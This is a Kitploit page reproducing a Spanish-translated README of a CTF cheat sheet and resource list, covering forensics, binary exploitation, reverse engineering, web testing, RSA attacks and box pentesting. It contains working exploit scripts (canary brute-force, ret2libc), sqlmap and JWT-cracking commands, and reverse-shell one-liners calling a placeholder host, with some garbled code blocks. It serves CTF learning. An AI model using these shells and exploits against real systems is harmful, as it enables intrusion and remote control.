Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CTFs — Hoja de referencia CTF + Informes / Archivos para algunos de los CTF de seguridad que he realizado | Kitploit
Herramientas/GitHubGitHub/adamkadaban/ctfs
OSINT (Inteligencia de Fuentes Abiertas)Ingeniería InversaAnálisis ForenseSeguridad WebEsteganografíaCriptografíaCTFPruebas de PenetraciónAprendizaje y EducaciónRecursos CuradosExplotación de BinariosLabs y Práctica
84767hace 9 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubadamkadaban/ctfs

CTFs

Hoja de referencia CTF + Informes / Archivos para algunos de los CTF de seguridad que he realizado

Ver RepositorioSitio web

CTFs

Writeups / Archivos para algunos de los Cyber CTFs que he realizado

También he incluido una lista de recursos de CTF así como una chuleta completa que cubre muchísimos desafíos comunes de CTF

[!NOTE] Ahora hay un espejo web de este repositorio en hackback.zip

Tabla de Contenidos

  • Recursos

    • Canales de YouTube
    • Sitios de Práctica / Aprendizaje
      • CTFs
      • General
      • Pwn
      • Rev
      • Web
      • Crypto
      • Smart Contracts
      • Cloud
      • Pentesting
  • Chuleta de CTF

    • Forense / Esteganografía
      • General
      • Audio
      • Imagen
      • Video
      • Imagen de Máquina
      • Pcap
    • Pwn / Explotación Binaria
      • General
      • Desbordamiento de búfer
      • PIE (Ejecución Independiente de Posición)
      • NX (No ejecutable)
      • ROP (para binarios compilados estáticamente)
      • Canario de Pila
      • Vulnerabilidades de Cadena de Formato
      • Shellcode
      • Return-to-Libc
    • Ingeniería Inversa
      • Solucionadores SMT
      • Inversión de comprobaciones byte a byte (ataque de canal lateral)
      • Búsqueda de cadenas con gef
    • Web
      • Fuzzing de campos de entrada
    • Criptografía
      • CyberChef

      • Cifrados Comunes

      • RSA

        • Obtener información RSA con pycryptodome
        • Teorema del Resto Chino (p,q,e,c)
        • Ataque de Coppersmith (c,e)
        • Ataque de Pollard (n,e,c)
        • Ataque de Wiener (n,e,c)
      • Base16, 32, 36, 58, 64, 85, 91, 92

    • Box
      • Conexión
      • Enumeración
      • Escalada de privilegios
      • Escuchar para shell inversa
      • Shell inversa
      • Obtener shell interactivo
        • Linux
        • Windows / General
    • OSINT
    • Varios

Recursos

Canales de YouTube

  • John Hammond
    • Solía hacer muchos videos de CTF, pero ha pasado a otras cosas.
    • Aún tiene un montón de videos útiles. Los de CTF especialmente son increíbles para enseñar a personas nuevas en ciberseguridad.
  • Live Overflow
    • Hace videos extremadamente interesantes y profundos sobre ciberseguridad.
    • Tiene una serie increíble de pwn
  • IppSec
    • Hace writeups de cada máquina de HackTheBox.
      • Habla sobre diferentes formas de resolver y por qué funcionan. Muy recomendable.
  • Computerphile
    • Las mismas personas que Numberphile, pero más interesantes. Hace videos muy a nivel principiante e intuitivos sobre conceptos básicos.
  • pwn.college
    • Profesor de ASU que tiene muchísimos videos sobre pwn.
    • Material de curso guiado: https://pwn.college/
    • Montones de problemas de práctica: https://dojo.pwn.college/
  • PwnFunction
    • Videos animados de muy alta calidad y fáciles de entender sobre diferentes temas.
    • Los temas son un poco avanzados, pero fácilmente comprensibles.
  • Martin Carlisle
    • Hace videos increíbles de writeups sobre los desafíos de picoCTF.
  • Sam Bowne
    • Profesor de CCSF que publica todas sus clases y material de curso en su sitio web
  • UFSIT

Charlas

Aquí hay algunas diapositivas que he preparado: hackback.zip/presentations

Sitios de Práctica / Aprendizaje

CTFs

  • PicoCTF
    • Montones de desafíos de práctica increíbles.
    • Definitivamente el estándar de oro para empezar.
  • UCF
    • Buenos en general, pero excelente práctica de pwn.
    • Actualmente estoy trabajando en subir writeups aquí
  • hacker101
    • CTF, pero un poco más orientado a pentesting.
  • CSAW
    • Caído el 90% del tiempo y normalmente ninguna de las conexiones funciona.
    • Si está activo, tiene muchos desafíos introductorios buenos.
  • CTF101
    • Una de las mejores introducciones a los CTFs que he visto (buen trabajo osiris).
    • Muy conciso y amigable para principiantes.

General

  • HackTheBox
    • El sitio OG de boxes.
      • Las boxes son seleccionadas para garantizar calidad.
    • Ahora tiene algunos problemas estilo CTF.
    • Ahora tiene cursos para empezar a aprender.
  • TryHackMe
    • Boxes ligeramente más fáciles que HackTheBox.
    • Desafíos paso a paso.
    • Ahora tiene "rutas de aprendizaje" para guiarte a través de los temas.
  • CybersecLabs
    • Gran colección de boxes.
    • Tiene algo de material CTF.
  • VulnHub
    • Tiene máquinas virtuales vulnerables que debes implementar tú mismo.
    • Mucha variedad, pero difícil encontrar buenas en mi opinión.

Pwn

  • pwnable.kr
    • Desafíos con buen rango de dificultad.
  • pwnable.tw
    • Más difícil que pwnable.kr.
    • Tiene writeups una vez que resuelves el desafío.
  • pwnable.xyz
    • Más desafíos de pwn.
    • Tiene writeups una vez que resuelves el desafío.
    • Puedes subir tus propios desafíos una vez que los resuelvas todos.
  • pwn dojo
    • La mejor colección de desafíos de pwn en mi opinión.
    • Respaldado con diapositivas que enseñan cómo hacerlo y tiene un discord si necesitas ayuda.
  • nightmare
    • Estándar de oro para pwn en binarios C.
    • Tiene algunos errores/erratas, pero increíble en general.
  • pwn notes
    • Notas de una persona aleatoria en línea.
    • Muy superficial, pero buena introducción a todo.
  • Security Summer School
    • Curso de Seguridad de la Universidad de Bucarest.
    • Explicaciones muy amigables para principiantes.
  • RPISEC MBE
    • Curso de Explotación Binaria Moderna de RPI.
    • Tiene una buena cantidad de laboratorios/proyectos para practicar y algunas clases (ligeramente desactualizadas).
  • how2heap
    • Serie de Explotación de Heap hecha por el equipo CTF de ASU.
    • Incluye una función de depuración muy interesante para mostrar cómo funcionan los exploits.
  • ROPEmporium
    • Conjunto de desafíos en cada arquitectura principal que enseñan Programación Orientada a Retorno.
    • Muy alta calidad. Enseña desde las técnicas más básicas hasta las más avanzadas.
    • Actualmente estoy añadiendo mis propios writeups aquí

Rev

  • challenges.re
    • Muchísimos desafíos 0_0.
    • Montones de diversidad.
  • reversing.kr
  • crackmes.one
    • Montones de desafíos estilo crackme (CTF).
  • Malware Unicorn Workshops
    • Talleres gratuitos sobre Ingeniería Inversa y Análisis de Malware.

Web

  • websec.fr
    • Muchos desafíos web con un buen rango de dificultad.
  • webhacking.kr
    • Tiene un archivo de muchos buenos desafíos web.
  • Securing Web Applications
    • Curso de CCSF de código abierto.
  • OWASP Juice Shop
    • Muy orientado a pentesting, pero útil para explorar la web en CTFs.
    • Más de 100 vulnerabilidades/desafíos en total.
  • PortSwigger
    • Estándar de oro para entender el hacking web.
    • Montones de desafíos y explicaciones increíbles.
  • DVWA
    • Muy orientado a pentesting, pero útil para explorar la web en CTFs.
  • bWAPP
    • Muy orientado a pentesting, pero útil para explorar la web en CTFs.
  • CTF Challenge
    • Colección de desafíos web hechos por Adam Langley que buscan ser lo más realistas posible.
    • Bueno para obtener experiencia en bug bounty.

Criptografía

  • CryptoHack
    • Actualmente estoy trabajando en subir writeups aquí
  • cryptopals
    • El sitio OG de desafíos de criptografía.
  • CryptoCTF
    • CTF anual de criptografía. Años anteriores accesibles en 20{19,20,21,22,23,24}.cr.yp.toc.tf.

Smart Contracts

  • Capture the Ether

Cloud

  • CloudFoxable
    • Te guía en la configuración de un entorno vulnerable para ser explotado usando cloudfox
  • flaws.cloud
    • Desafíos gratuitos que implican encontrar secretos en S3, EC2 y Lambda.

Pentesting

  • hacker101
  • hacksplaining
  • Exploit developement
    • Curso de CCSF de código abierto.
  • Intro to Security
    • Curso de UC San Diego impartido por Deian Stefan.
    • Cubre conceptos básicos de pwn y criptografía.
  • Active Directory Cheat Sheet
  • WADComs
    • Chuleta interactiva para entornos Windows/AD.
  • LOLBAS
    • Chuleta interactiva para binarios, scripts y bibliotecas de Windows de "vivir de la tierra" para explotación.
  • GTFOBins
    • Chuleta interactiva para técnicas de Linux de "vivir de la tierra".

Chuleta de CTF

Forense / Esteganografía

General

  • AperiSolve
    • Herramienta que ejecuta automáticamente otras herramientas de esteganografía.
  • Muy buen recurso de John Hammond para diferentes tipos de desafíos:
    • https://github.com/JohnHammond/ctf-katana
  • Otra chuleta muy buena para crear y resolver desafíos:
    • https://github.com/apsdehal/awesome-ctf/blob/master/README.md
  • file
    • file <archivo.xyz>
    • Determina el tipo de archivo.
  • steghide
    • steghide extract -sf <archivo.xyz>
    • Extrae archivos incrustados.
  • stegseek
    • stegseek <archivo> <lista de contraseñas>
    • Extrae archivos incrustados usando una lista de palabras.
    • Súper súper rápido.
  • binwalk
    • binwalk -M --dd=".*" <archivo.xyz>
    • Extrae archivos incrustados.
  • exiftool
    • exiftool <archivo.xyz>
    • Lee metadatos.
  • strings
    • strings <archivo.xyz>
    • Encuentra todos los caracteres imprimibles en un archivo.

Audio

  • Audio de fax:

    • Ejemplo
    • Decodificador
  • SSTV (televisión de barrido lento) audio (cosas de luna)

    • Ejemplo
    • Decodificador
    • Decodificador alternativo
    • Usa estas configuraciones de qsstv:

    Configuraciones SSTV

  • Imagen de espectrograma

    • Decodificador
  • Cambiar tono, velocidad, dirección...

    • Tono, velocidad, afinación
    • Invertir
  • DTMF (frecuencia dual de tono múltiple) teclas de teléfono

    • multimon-ng -a DTMF -t wav <archivo.wav>
      • Ten en cuenta que estos podrían ser letras multitap.
        • Esto puede decodificar los números a texto.
  • Cinta de casete

    • Ejemplo
    • Decodificador (wav a archivos tap)
  • Código Morse

    • Decodificador

Imagen

  • stegsolve
    • Cambia entre bits.
  • foremost
    • Herramienta especial para extraer imágenes.
    • Puede usarse para reconstruir imágenes rotas (por ejemplo, en pcap).
  • Depix
    • Despixelar texto.
  • Verificar si algo fue photoshopeado (mirando los reflejos)
    • https://29a.ch/photo-forensics/#error-level-analysis
  • zsteg
    • Decodificador LSB.
  • jsteg
    • Solucionador de esteganografía en JPEG.
  • pixrecovery
    • Hasta ahora la herramienta de recuperación de png más efectiva que he encontrado (siempre que no te importen las marcas de agua).
    • photopea también funciona muy bien.
  • crc32fix
    • Corregir altura y ancho de png basado en checksum.
  • PCRT
    • Corregir información de cabecera y pie de png.
  • png-crc-fix
    • Corregir checksum de png.
  • pngcheck
    • Descubrir si hay errores en el png.
    • pngcheck <archivo>

Video

Imagen de Máquina

  • Recuperar archivos
    • photorec <archivo.bin>
  • Puedes montar una imagen como máquina virtual.
    • https://habr.com/en/post/444940/
  • Montar un archivo .img:
    • binwalk -M --dd=".*" <nombreArchivo>
    • ejecuta file en la salida y selecciona el archivo del sistema de archivos de Linux.
    • losetup /dev/loop<numeroLoopLibre> <archivoSistemaArchivos>

Pcap

  • Extraer datos con tcpflow
    • tcpflow -r <archivo.pcap>
  • Extraer datos con wireshark
    • File → Export Objects → Make selection

Pwn / Explotación Binaria

  • Para esto, sugiero mirar mi repositorio LearnPwn en su lugar, ya que esta chuleta fue hecha antes de que supiera mucho sobre pwn.
    • Sin embargo, he incluido algunas notas complementarias a lo que tengo aquí.

General

  • Verificar seguridad de ELF
    • checksec <binario>
    • rabin2 -I <binario>
  • Verificar seguridad de PE
    • binary-security-check
    • binary-security-check <bin>.exe
  • Verificar seccomp bpf
    • seccomp-tools
    • seccomp-tools dump ./<binario>
  • Mirar símbolos
    • readelf -s <binario>
  • Mirar cadenas
    • rabin2 -z <binario>
  • Empaquetar dirección a byte
    • little endian (para 32 bits)
      • python -c "import pwn; print(pwn.p32(<intAddr>))
    • big endian (para 64 bits)
      • python -c "import pwn; print(pwn.p64(<intAddr>))
    • pwntools empaqueta automáticamente las direcciones con la endianness correcta por ti.

Desbordamiento de búfer

  • Si alguna vez necesitas obtener un shell /bin/sh y estás seguro de que funciona pero el programa sale de todas formas, usa este truco:
    • ( python -c "print '<PAYLOAD>'" ; cat ) | ./<programa>
    • pwntools hace esto con su process.interactive()

PIE (Ejecución Independiente de Posición)

  • Determinar valor aleatorio
    • pwn cyclic <numChars> para generar payload.
    • dmesg | tail | grep segfault para ver dónde ocurrió el error.
    • pwn cyclic -l 0x<ubicacionError> para ver el desplazamiento aleatorio para controlar el puntero de instrucción.
    • ejemplo

NX (No ejecutable)

  • Podemos usar ROP (programación orientada a retorno) para solucionarlo.

ROP (para binarios compilados estáticamente)

  • ROPgadget
    • Ver gadgets y generar automáticamente ropchains.
    • ROPgadget --ropchain --binary <binario>
      • Luego puedes añadir relleno al inicio del código (basado en la diferencia entre tu búfer y la dirección de retorno) y ejecutar el código para obtener un shell.
      • Demo
  • ropr

Stack CanaryEncontrando el canary de pila en un depurador

  • El canary de pila es un valor colocado antes del EIP/RIP (puntero de instrucción) que puede ser sobrescrito por un desbordamiento de búfer. El programa provoca un error básicamente si la pila se sobrescribe con algo diferente a lo que era originalmente. Nuestro objetivo es encontrar la pila original para que al desbordar, el programa funcione normalmente.
  • El canary de pila se toma de gs o fs (para 32 y 64 bits respectivamente)
    • En el desensamblado, antes de que se lea algo, se puede ver una línea similar a la siguiente:``` 0x000000000000121a <+4>: sub rsp,0x30 0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax 0x000000000000122b <+21>:xor eax,eax
root@kitploit:~
- Aquí, el canary de la pila se mueve a `rax` en el offset +8.
    - Por lo tanto, haz un break en el siguiente offset y verifica qué hay en rax (`i r rax`) para ver cuál es el canary actual

**Static Canaries**
- Un canary solo es estático si fue implementado manualmente por el programador (que es el caso en algunos desafíos introductorios de pwn), o si puedes hacer fork del programa.
    - Cuando haces fork del binario, el proceso hijo tiene el mismo canary, por lo que puedes hacer un bruteforce byte por byte sobre ese.

**Extra**
- Cuando un canary de la pila se sobrescribe incorrectamente, provocará una llamada a `__stack_chk_fail`
    - Si no podemos filtrar el canary, también podemos modificar la tabla GOT para evitar que sea llamada.
- El canary se almacena en la estructura `TLS` de la pila actual y se inicializa mediante `security_init`
    - Si puedes sobrescribir el valor real del canary, puedes igualarlo a lo que decidas desbordar.

- Script simple para hacer bruteforce de un canary estático de 4 bytes:```python
#!/bin/python3
from pwn import *

#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')

# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
    for letter in range(0,len(alphabet)):  # We will go through each letter/number in the string 'alphabet'
        p = elf.process()  # We start the process
        wait = p.recv().decode('utf-8')
        p.sendline(str(32+i))  # In this program, we had to specify how many bytes we were gonna send.
        wait = p.recv().decode('utf-8')
        p.sendline('A'*32 + canary + alphabet[letter])  # We send the 32 A's to overflow, and then the canary we already have + our guess
        prompt = p.recv().decode('utf-8')
        if "Stack" not in prompt:  # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
            canary += alphabet[letter]  # If it doesn't print that, we got part of our canary :)
            break  # Move on to the next canary letter/number

print("The canary is: " + canary)

Format String Vulnerabilities

  • Look at Table 2 for what to try if you see "printf(buf)" or something like that:
    • https://owasp.org/www-community/attacks/Format_string_attack
  • Highly recommend looking at John Hammond doing 'echooo' challenge from picoCTF 2018
  • Sometimes, trying to print only strings from the stack like this: '%s %s %s %s %s %s' may cause errors since not everything in the stack is a string.
  • Try to minimize that by doing '%x %x %x %x %x %s' instead
  • Instead of having to constantly increase how many %x and %s you type, you can pass a parameter to make it easier:
    • %1$s - This will print the first value in the stack (from what I understand, the one right next to your buffer) as a string.
    • %2$s - This will print the 2nd value as a string, and you get the idea
    • You can use one-liner loops to try to find the flag by leaking the stack. Press ^C (CTRL + C) to go to the next value.
      • for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
  • You can control how much you leak using different size parameters:
    • %hhx leaks 1 byte (half of half of int size)
    • %hx leaks 2 bytes (half of int size)
    • %x leaks 4 bytes (int size)
    • %lx leaks 8 bytes (long size)
  • very good video on modifying the stack with fstring vuln and %n:

Shellcode

  • Good website to find different shellcode:
    • http://shell-storm.org/shellcode/

Return-to-Libc

  • We will overwrite the EIP to call the system() library function and we will also pass what it should execute, in this example a buffer with "/bin/sh"

  • Good explanation:

    • https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
  • Good example (go to 3:22:44):

    • https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
    • https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
  • Get address for execve("/bin/sh")

    • one_gadget <libc file>
  • If you already know the libc file and a location (ie. dont have to leak them...)```python #!/bin/python3

from pwn import * import os

binaryName = 'ret2libc1'

get the address of libc file with ldd

libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]

use one_gadget to see where execve is in that libc file

one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]

pick one of the suitable addresses

libc_execve_address = one_gadget_libc_execve_out[1]

p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)

get the address of printf from the binary output

printf_loc = int(p.recvuntil('\n').rstrip(), 16)

get the address of printf from libc

printf_libc = l.sym['printf']

calculate the base address of libc

libc_base_address = printf_loc - printf_libc

generate payload

0x17 is from gdb analysis of offset from input to return address

offset = 0x17

payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)

send the payload

p.sendline(payload)

enter in interactive so we can use the shell created from our execve payload

p.interactive()

root@kitploit:~
## Ingeniería Inversa

> Guía Genial: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
 
- [Ghidra](https://ghidra-sre.org/)
    - Descompilador muy útil
- dotPeek o dnSpy
    - descompilar ejecutables .NET
- [jadx](https://github.com/skylot/jadx) y jadx-gui
    - descompilar apks
- [devtoolzone](https://devtoolzone.com/decompiler/java)
    - descompilar java en línea
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
    - Descompilador de Java avanzado basado en terminal
- apktool
    - descompilar apks
    - `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
    - Análisis de binarios
    - [peda](https://github.com/longld/peda) (extensión para mayor funcionalidad)
    - [gef](https://github.com/hugsy/gef) (extensión de gdb para pwners)
- [radare2](https://github.com/radareorg/radare2)
    - Análisis de binarios
- [FLOSS](https://github.com/mandiant/flare-floss)
    - `strings` potenciado. Utiliza análisis estático para encontrar y calcular cadenas

#### SMT Solvers
- [angr](https://github.com/angr/angr) (python)
    - [Docs](https://docs.angr.io/core-concepts/toplevel)
    - [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
    - [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)

#### Reversing byte-by-byte checks (ataque de canal lateral)

[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)

- Aquí hay una versión que hice para un desafío que utiliza un ataque basado en tiempo:
    - Es posible que tengas que ejecutarlo un par de veces para tener en cuenta la aleatoriedad.```python
#!/bin/python3

from pwn import *
import string

keyLen = 8
binaryName = 'binary'

context.log_level = 'error'

s = ''
print("*"*keyLen)
for chars in range(keyLen):
    a = []
    for i in string.printable:
        p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
        p.readline()
        currPass = s + i + '0'*(keyLen - chars - 1)
        # print(currPass)
        p.sendline(currPass.encode())
        p.readline()
        p.readline()
        p.readline()
        info = p.readall().split(b',')[0]
        p.close()
        try:
            a.append((float(info), i))
        except:
            pass
        # print(float(info), i)
    a.sort(key = lambda x: x[0])
    s += str(a[-1][1])
    print(s + "*"*(keyLen - len(s)))
    # print(sorted(a, key = lambda x: x[0]))

p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()

Buscando cadenas con gef

  • Si tu flag se está leyendo en una variable o registro en algún punto, puedes interrumpir después de que se haya movido y ejecutar grep <cadena> y gef te mostrará automáticamente la cadena que coincide con tu patrón de búsqueda

Web

  • Nikto (si está permitido)
    • busca automáticamente vulnerabilidades
  • gobuster (si está permitido)
    • Fuerza bruta en directorios y archivos
  • hydra (si está permitido)
    • Fuerza bruta en inicios de sesión para varios servicios
  • BurpSuite
    • Intercepta solicitudes web y te permite modificarlas
  • Wireshark
    • Analiza el tráfico de red en vivo y archivos pcap
  • php reverse shell
    • Útil para sitios web que permiten subir archivos
    • Este archivo necesita ser ejecutado en el servidor para funcionar
  • WPScan
    • Escanea sitios web de WordPress
    • Usa wpscan --url <sitio> --plugins-detection mixed -e con una clave de API para obtener mejores resultados
  • jwt
    • Puedes identificar un token JWT porque el JSON codificado en base64 (y por lo tanto los tokens JWT) comienza con "ey"
    • Este sitio decodificará tokens web JSON
    • Puedes descifrar la clave secreta del token web JSON para modificar y firmar tus propios tokens
      • echo <token> > jwt.txt
      • john jwt.txt
  • Inyección SQL
    • sqlmap
      • sqlmap --forms --dump-all -u <url>

Fuzzing en campos de entrada

  • FFUF
    • Copia la solicitud al campo de entrada y reemplaza el parámetro con "FUZZ":
      • ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
      • Usa -fs para filtrar tamaños

Criptografía

CyberChef

  • CyberChef
    • Realiza varias operaciones criptográficas

Cipher Detector

Hashes

  • hashid
    • Utilidad de línea de comandos para detectar el tipo de hash

Cifrados comunes

  • Caesars Cipher
  • Vigenere Cipher```python

Solver using custom table

cipherText = "" plainText = "" flagCipherText = "" tableFile = ""

with open(cipherText) as fin: cipher = fin.readline().rstrip()

with open(plainText) as fin: plain = fin.readline().rstrip()

with open(flagCipherText) as fin: flag = fin.readline().rstrip()

with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]

table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break

print(key)

dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break

print(dec_flag)

root@kitploit:~
- [Cifrado por sustitución](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [Cifrado César con clave](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)

### RSA

#### Obtener información RSA con pycryptodome```python
from Crypto.PublicKey import RSA

keyName = "example.pem"

with open(keyName,'r') as f:
    key = RSA.import_key(f.read())

print(key)

# You can also get individual parts of the RSA key 
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)

# public keys have n and e

Teorema del Resto Chino (p,q,e,c)

  • Utiliza esto cuando puedas factorizar el número n

    • Las implementaciones deficientes tendrán más de un factor primo
    • Demostración
  • Antiguo```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)

def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m

p = q = e = c =

n = p*q # use factordb command or website to find factors

phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)

d = modinv(e, phi) # private key

print(d)

m = pow(c,d,n) # decrypted plaintext message in long integer form

thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))

root@kitploit:~
- Nuevo```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB

# ints:
n =    
e =  
c =  

f = FactorDB(n)
f.connect()
factors = f.get_factor_list()

phi = 1
for i in factors:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)
  • Sitio web que proporciona factores y el totiente de Euler (phi)
    • https://www.alpertron.com.ar/ECM.HTM

Ataque Coppersmith (c,e)

  • Generalmente se usa si el exponente es muy pequeño (e <= 5)

    • Demostración```python from Crypto.Util.number import * def nth_root(radicand, index): lo = 1 hi = radicand while hi - lo > 1: mid = (lo + hi) // 2 if mid ** index > radicand: hi = mid else: lo = mid

    if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1

c = e =

plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))

root@kitploit:~
#### Ataque de Pollard (n, e, c)
- Basado en el [método de factorización de Pollard](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf), que hace que los productos de primos sean [fáciles de factorizar](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf) si son (B)-suaves
    - Este es el caso si `p-1 | B!` y `q - 1` tiene un factor > `B````python
from Crypto.Util.number import *
from math import gcd

n = 
c = 
e = 

def pollard(n):
    a = 2
    b = 2
    while True:
        a = pow(a,b,n)
        d = gcd(a-1,n)
        if 1 < d < n: 
            return d
        b += 1

p = pollard(n)
q = n // p

phi = 1
for i in [p,q]:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)

Ataque de Wiener (n,e,c)

  • Para usar cuando d es demasiado pequeño (o e es demasiado grande)
    • Usando este módulo python
    • Demostración```python from Crypto.Util.number import * import owiener

n = e = c =

d = owiener.attack(e, n) m = pow(c, d, n)

flag = long_to_bytes(m) print(flag)

root@kitploit:~
### Base16, 32, 36, 58, 64, 85, 91, 92

[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)

## Box

### Conexión

- ssh
    - `ssh <usuario>@<ip>`
    - `ssh <usuario>@<ip> -i <archivo_clave_privada>`
    - Montar SSH como sistema de archivos localmente:
        - `sshfs -p <puerto> <usuario>@<ip>: <directorio_montaje>`
    - Hosts conocidos
        - `ssh-copy-id -i ~/.ssh/id_rsa.pub <usuario@host>`
- netcat
    - `nc <ip> <puerto>`
    

### Enumeración

- Descubrimiento de máquinas
    - `netdiscover`
- Escaneo de puertos de máquinas
    - `nmap -sC -sV <ip>`
- Enumeración de Linux
    - `enum4linux <ip>`
    
- Enumeración SMB
    - `smbmap -H <ip>`
- Conectar a recurso compartido SMB
    - `smbclient //<ip>/<recurso>`

### Escalada de privilegios

- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
    - `./linpeas.sh`
    - Busca automáticamente vectores de escalada de privilegios
- Listar comandos que podemos ejecutar como root
    - `sudo -l`
- Encontrar archivos con permiso SUID
    - `find / -perm -u=s -type f 2>/dev/null`
    - Estos archivos se ejecutan con los privilegios del propietario en lugar del usuario que los ejecuta
- Encontrar permisos de todos los servicios
    - `accesschk.exe -uwcqv *`
    - Buscar servicios que no estén bajo las cuentas de Sistema o Administrador
- Consultar servicio
    - `sc qc <nombre_servicio>`
    - Solo funciona en cmd.exe 

### Escuchar para shell inversa

- `nc -lnvp <puerto>`

### Shell inversa

- revshells.com
    - plantillas para básicamente todo lo que puedas necesitar
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<puerto>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <puerto>`
- `bash -i >& /dev/tcp/<ip>/<puerto> 0>&1`

### Obtener shell interactiva

#### Linux

1. Ejecuta el siguiente comando de python para hacerlo parcialmente interactivo: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. Sal de la sesión de netcat con `CTRL+Z` y ejecuta `stty raw -echo` localmente
3. Vuelve a tu sesión con el comando `fg` (y el id del trabajo después si es necesario)
4. Cambia tu emulador de terminal a xterm ejecutando `export TERM=xterm` (esto puede no ser necesario)
5. Cambia tu shell a bash ejecutando `export SHELL=bash` (esto puede no ser necesario)
6. ¡Hecho! Ahora tu shell debería ser completamente interactiva

#### Windows / General

1. Instala `rlwrap` en tu sistema
2. Ahora, cada vez que ejecutes un listener de nc, solo pon `rlwrap` al frente
3. Por ejemplo: `rlwrap nc -lvnp 1337`
    * Esto te dará las teclas de flecha y el historial de comandos, pero no dará autocompletado (hasta donde sé) para sistemas Windows y *nix 

## OSINT

- [pimeyes](https://pimeyes.com/en)
    - Búsqueda inversa de rostros en internet
- [OSINT Framework](https://osintframework.com/)
    - Sitio web que agrega toneladas de herramientas OSINT
- [GeoSpy AI](https://geospy.ai)
	- LLM de visión geoespacial que puede estimar la ubicación solo con una imagen
- [overpass turbo](https://overpass-turbo.eu)
	- Sitio web que te permite consultar la API de OpenStreetMap y visualizar resultados
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
	- Sitio web que te permite consultar fácilmente la API de OSM

## Misc

- Resolviendo errores de DNS
    - `dig <sitio> <tipoRegistro>`
    - [Lista de tipos de registro](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
        - Asegúrate de probar TXT
- Ejecutar un binario como una arquitectura diferente
    - 64 bits:
        - `linux64 ./<binario>`
    - 32 bits:
        - `linux32 ./<binario>`
        
- Extraer macros de MS:
